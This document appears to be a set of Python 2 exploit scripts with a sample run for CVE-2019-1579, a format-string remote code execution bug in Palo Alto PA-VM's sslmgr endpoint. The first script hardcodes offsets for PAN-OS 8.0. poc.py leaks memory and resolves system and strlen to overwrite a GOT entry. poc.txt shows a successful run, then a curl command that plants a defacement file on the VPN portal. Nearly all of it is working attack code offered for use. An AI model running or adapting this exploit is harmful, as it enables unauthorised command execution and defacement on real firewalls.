CVE-2019-1579 fun times

8.0 hax

#!/usr/bin/env python2
import urllib2
import struct

# Constants
ip_addr= '172.31.21.2'

# PA-VM
# 8.0
scep_offset=24
host_offset=70
AMP_BUF_OFFSET=170
system_plt=0x407290
strlen_got=0x625410
amp_buf=0x7fffca7fbd40



def num_to_addr(y):
    x=struct.pack("<Q",y)
    s=''
    for i in x:
        if i=='\0': s+='%10$c'
        elif i=='%': s+='%%'
        elif i=='&': s+='%'+str(AMP_BUF_OFFSET)+'$c'
        else: s+=i
    return s

def get_addrs_vals(addr,val):
    val0=(val>>16)&0xff
    val1=(val>>8) &0xff
    val2=(val   ) &0xff
    addrs=(addr+2,addr+1,addr)
    c=zip((val0,val1,val2),addrs)
    return sorted(c)

def do_expl(cmd, system, strlen, amp_buf):
    url = "https://%s/sslmgr" % ip_addr
    
    av=get_addrs_vals(strlen,system)
    val1,addr_1=av[0]
    val2,addr_2=av[1]
    val3,addr_3=av[2]
    val2=val2-val1
    val3=val3-val2-val1

    fmt = "%"+str(host_offset+5)+"$lln"
    if val1>0: fmt += "%"+str(val1)+"c"  +  "%"+str(host_offset+1)+"$hhn"

    if val2>0: fmt += "%"+str(val2)+"c"
    fmt += "%"+str(host_offset+3)+"$hhn"

    if val3>0: fmt += "%"+str(val3)+"c"
    fmt += "%"+str(host_offset+5)+"$hhn"

    data = "scep-profile-name="
    data += 'AABBCCDD'+num_to_addr(amp_buf)

    data += "&appauthcookie="
    data += '%9766c%'+str(scep_offset+1)+'$hn'
    data += 'AAAABBBB'    

    data += "&host-id="
    data += "AAAABBBB"+num_to_addr(addr_1)+"CCCCDDDD"+num_to_addr(addr_2)+"EEEEFFFF"+num_to_addr(addr_3)

    data += "&user-email="
    data += fmt + "A"*104

    data += "&user="
    data += cmd
    data +="&hostid=id"
    
    req=urllib2.Request(url,data)
    response=urllib2.urlopen(req)
    print response.read(

do_expl("test", system_plt,strlen_got, amp_buf)

print "curl -kd 'scep-profile-name=cmd' https://ip/sslmgr"

poc.py

#!/usr/bin/env python2

#
# automates some of the hard work of rooting your PA-VM with CVE-2019-1579
# for more info see http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
# originally based on https://github.com/securifera/CVE-2019-1579 but better
# 
# This will exploit your palo, but the cooler part is that it automates finding the offsets of system and strlen
# There are a few PoCs of this vulnerability, but they only work for one version of the vulnerable binary.
# This will let you adapt those PoCs to new versions.
# 

from pwn import ssh
import sys, struct, requests
requests.packages.urllib3.disable_warnings()


if len(sys.argv)<4: 
    print "Usage: hax.py <username> <password> <ip>"
    exit(1)

# Constants
username = sys.argv[1]
password = sys.argv[2]
prompt = username + "@PA-VM>"
enable_dbg_cmd = "debug software logging-level set level dump service sslmgr"
ip_addr= sys.argv[3]
padding='z*aX'+" "*100
ELF_BASE=0x400000
PLT_ELSIZE=0x10


# PA-VM

# If you are on panos 8.0, uncomment this section
# 8.0
scep_offset=24
host_offset=70
AMP_BUF_OFFSET=170
system_plt=0x407290
strlen_got=0x625410
amp_buf=0x7fffca7fbd40
# ------------------


# If you're on panos 8.1, uncomment this section
#8.1
#scep_offset=28
#host_offset=74
#AMP_BUF_OFFSET=174
#system_plt=0x407600
#strlen_got=0x628418
#stack_base=0x7fffe53d4840 #8.1
# ------------------

# If you're not on 8.0 or 8.1, you may have to gather this info yourself.
# The easiest way to do this is with https://github.com/securifera/CVE-2019-1579/blob/master/poc_leak.py


def get_leak(sh):
    sh.sendline("tail mp-log sslmgr.log")

    # Receive the output
    sh.recvuntil(prompt)
    sh.recvuntil(prompt)

    # Get the leak data
    leak_data = sh.recvuntil(prompt)
    lines = leak_data.splitlines()
    for line in lines:
        if "SCEP cert request" in line:
            elements = line.split(",")
            for element in elements:
                if "email" in element:
                    val = element.split(":")[1]
                    val=val[:val.find('z*aX')]
                    return val
    return ''


# Enable debug
def enable_dbg(sh):
    sh.sendline(enable_dbg_cmd)

    # Receive the output
    for i in range(8):
        sh.recvuntil(prompt)

def leak_base():

    url = "https://%s/sslmgr" % ip_addr

    data = "scep-profile-name="
    data += "A"*8
    data += "&appauthcookie="
    data += "B"*8
    data += "&host-id="
    data += "C"*8
    data += "&user-email="
    data += "%4$llx" + padding
    data += "&user="
    data += "D"*8
    r = requests.post(url, data=data, verify=False)
    out = r.text
    if "502 Bad Gateway" in out:
        print "[-] Error: Crashed. Aborting"
        return False

    return int(get_leak(sh),16)-(scep_offset*8)


def leak_at(addr):

    url = "https://%s/sslmgr" % ip_addr

    data = "scep-profile-name="
    data += 'AABBCCDD'+num_to_addr(amp_buf)
    data += "&appauthcookie="
    data += '%9766c%'+str(scep_offset+1)+'$hn'
    data += "&host-id=" 
    data += "AAAABBBB"+num_to_addr(addr)
    data += "&user-email="
    data += '%'+str(host_offset+1)+'$s' + padding
    data += "&user="
    data += "D"*8

    r = requests.post(url, data=data, verify=False)
    out = r.text
    if "502 Bad Gateway" in out:
        print "[-] Error: Crashed. Aborting"
        return False

    return True

def get_addrs_vals(addr,val):
    val0=(val>>16)&0xff
    val1=(val>>8) &0xff
    val2=(val   ) &0xff
    addrs=(addr+2,addr+1,addr)
    c=zip((val0,val1,val2),addrs)
    return sorted(c)

def do_expl(cmd, system, strlen, amp_buf):
    url = "https://%s/sslmgr" % ip_addr
    
    av=get_addrs_vals(strlen,system)
    val1,addr_1=av[0]
    val2,addr_2=av[1]
    val3,addr_3=av[2]
    val2=val2-val1
    val3=val3-val2-val1
    
    print hex(val1), "@", hex(addr_1)
    print hex(val2), "@", hex(addr_2)
    print hex(val3), "@", hex(addr_3)

    fmt = "%"+str(host_offset+5)+"$lln"
    if val1>0: fmt += "%"+str(val1)+"c"  +  "%"+str(host_offset+1)+"$hhn"

    if val2>0: fmt += "%"+str(val2)+"c"
    fmt += "%"+str(host_offset+3)+"$hhn"

    if val3>0: fmt += "%"+str(val3)+"c"
    fmt += "%"+str(host_offset+5)+"$hhn"

    data = "scep-profile-name="
    data += 'AABBCCDD'+num_to_addr(amp_buf)

    data += "&appauthcookie="
    data += '%9766c%'+str(scep_offset+1)+'$hn'
    data += 'AAAABBBB'    

    data += "&host-id="
    data += "AAAABBBB"+num_to_addr(addr_1)+"CCCCDDDD"+num_to_addr(addr_2)+"EEEEFFFF"+num_to_addr(addr_3)

    data += "&user-email="
    data += fmt + padding

    data += "&user="
    data += cmd
    data +="&hostid=id"

    r = requests.post(url, data=data, verify=False)
    out = r.text
    if "502 Bad Gateway" in out:
        print "[-] Error: Crashed. Aborting"
        return False
    return True

def num_to_addr(y):
    x=struct.pack("<Q",y)
    s=''
    for i in x:
        if i=='\0':
            s+='%10$c'
        elif i=='%':
            s+='%%'
        elif i=='&':
            s+='%'+str(AMP_BUF_OFFSET)+'$c'
        else:
            s+=i
    return s


def leak_from(start, length):
    end=start+length
    
    leaked=""
    i=start
    while i<end:
        leak_at(i)
        leak= get_leak(sh)+'\x00'
        leaked+=leak
        i+=len(leak)
    return leaked

def fast_symtab(base,len):
    fmt="<H"
    ents=[]
    for i in range(0,len,24):
        ents.append(struct.unpack(fmt,leak_from(base+i,2)[:2])[0])
    return ents

def cstr(x): return x[:x.index('\x00')]

def fastsymtab_resolve(stab,strtab):
    a={}
    for i in range(len(stab)):
        st=cstr(strtab[stab[i]:])
        a[st]=i
    return a



# Connect to ssh host
s =  ssh(host=ip_addr, user=username, password=password)
sh = s.shell()
sh.recvuntil(prompt)
enable_dbg(sh)

_=leak_base()
stack_base=leak_base()
amp_buf=stack_base+(AMP_BUF_OFFSET*8)
print "Stack base: "+hex(stack_base)

print "Reading ELF header..."
elfhead=leak_from(ELF_BASE, 0x40)

ehd=struct.unpack_from("<HHI3QI6H",elfhead,0x10)
e_phoff=ehd[4]
e_phnum=ehd[9]

print "Program header offset: %x\nProgram headers: %d" % (e_phoff,e_phnum)

print "Reading program headers"
phead=leak_from(ELF_BASE+e_phoff,56*e_phnum)
dyns=[]
for i in range(0,56*e_phnum,56):
    phd=struct.unpack_from("<II6Q",phead,i)
    if phd[0]==2: # p_type==PT_DYNAMIC
        print "DYNAMIC %x @ %x " % (phd[6], phd[3]) #p_memsz @ p_vaddr
        dyn=leak_from(phd[3], phd[6])
        for i in range(0,phd[6],16):
            dyns.append(struct.unpack_from("<QQ",dyn,i))
        break


print "Finished parsing DYNAMIC section"


print "Extracting DYNAMIC entries..."
pltgotdat=None
strtabdat=None
symtabdat=None
pltbase  =None
pltgot   =None
for i in dyns:
    if i[0]==3: #DT_PLTGOT
        print "leaking PLTGOT @ %x" % i[1]
        pltgot=i[1]
        pltgotdat=leak_from(i[1],0x20)
        pltbase=struct.unpack_from("<Q",pltgotdat,24)[0]-(2*PLT_ELSIZE)-6 #PLT_JMP_OFF
        print "pltbase @ %x" % pltbase
    if i[0]==5: #DT_STRTAB
        print "leaking STRTAB @ %x" % i[1]
        strtabdat=leak_from(i[1],0x2000)
    if i[0]==6: #DT_SYMTAB
        print "leaking SYMTAB @ %x" % i[1]
        symtabdat=fast_symtab(i[1],0x1100)


syms=fastsymtab_resolve(symtabdat,strtabdat)

system_idx=syms["system"]
strlen_idx=syms["strlen"]

print "system idx: " +str(system_idx)
print "strlen idx: " +str(strlen_idx)


system_plt=pltbase+(system_idx*PLT_ELSIZE)
strlen_got=pltgot+(8*strlen_idx)+(2*8) # [*DYNAMIC, *link_map] _dl_runtime_resolve ...

print "system_plt="+hex(system_plt)
print "strlen_got="+hex(strlen_got)
print "amp_buf="+hex(amp_buf)

do_expl("test", system_plt,strlen_got, amp_buf)


sh.close()
s.close()

#r=requests.post(url,data="scep-profile-name="+cmd,verify=False)

poc.txt

$ python pa_vm_exploit.py admin changeme 10.0.0.7
[+] Connecting to 10.0.0.7 on port 22: Done
[*] [email protected]:
    Distro    Unknown Unknown
    OS:       Unknown
    Arch:     Unknown
    Version:  0.0.0
    ASLR:     Disabled
    Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: 'shell': Done
/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py:845: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
Stack base: 0x7fffc27fb7f0
Reading ELF header...
Program header offset: 40
Program headers: 8
Reading program headers
DYNAMIC 210 @ 625018 
Finished parsing DYNAMIC section
Extracting DYNAMIC entries...
leaking STRTAB @ 402530
leaking SYMTAB @ 4002b0
leaking PLTGOT @ 625230
pltbase @ 406900
system idx: 153
strlen idx: 58
system_plt=0x407290
strlen_got=0x625410
amp_buf=0x7fffc27fbd40
0x40 @ 0x625412
0x32 @ 0x625411
0x1e @ 0x625410
[*] Closed SSH channel with 10.0.0.7
[*] Closed connection to '10.0.0.7'
$ curl -kd 'scep-profile-name=echo "hacked by r0bl0xgang" > /var/appweb/sslvpndocs/hacked' https://10.0.0.7/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
    <clientcert-response>
        <status>error</status>
        <msg>Invalid parameters</msg>
    </clientcert-response>
$ curl -k https://10.0.0.7/hacked
hacked by r0bl0xgang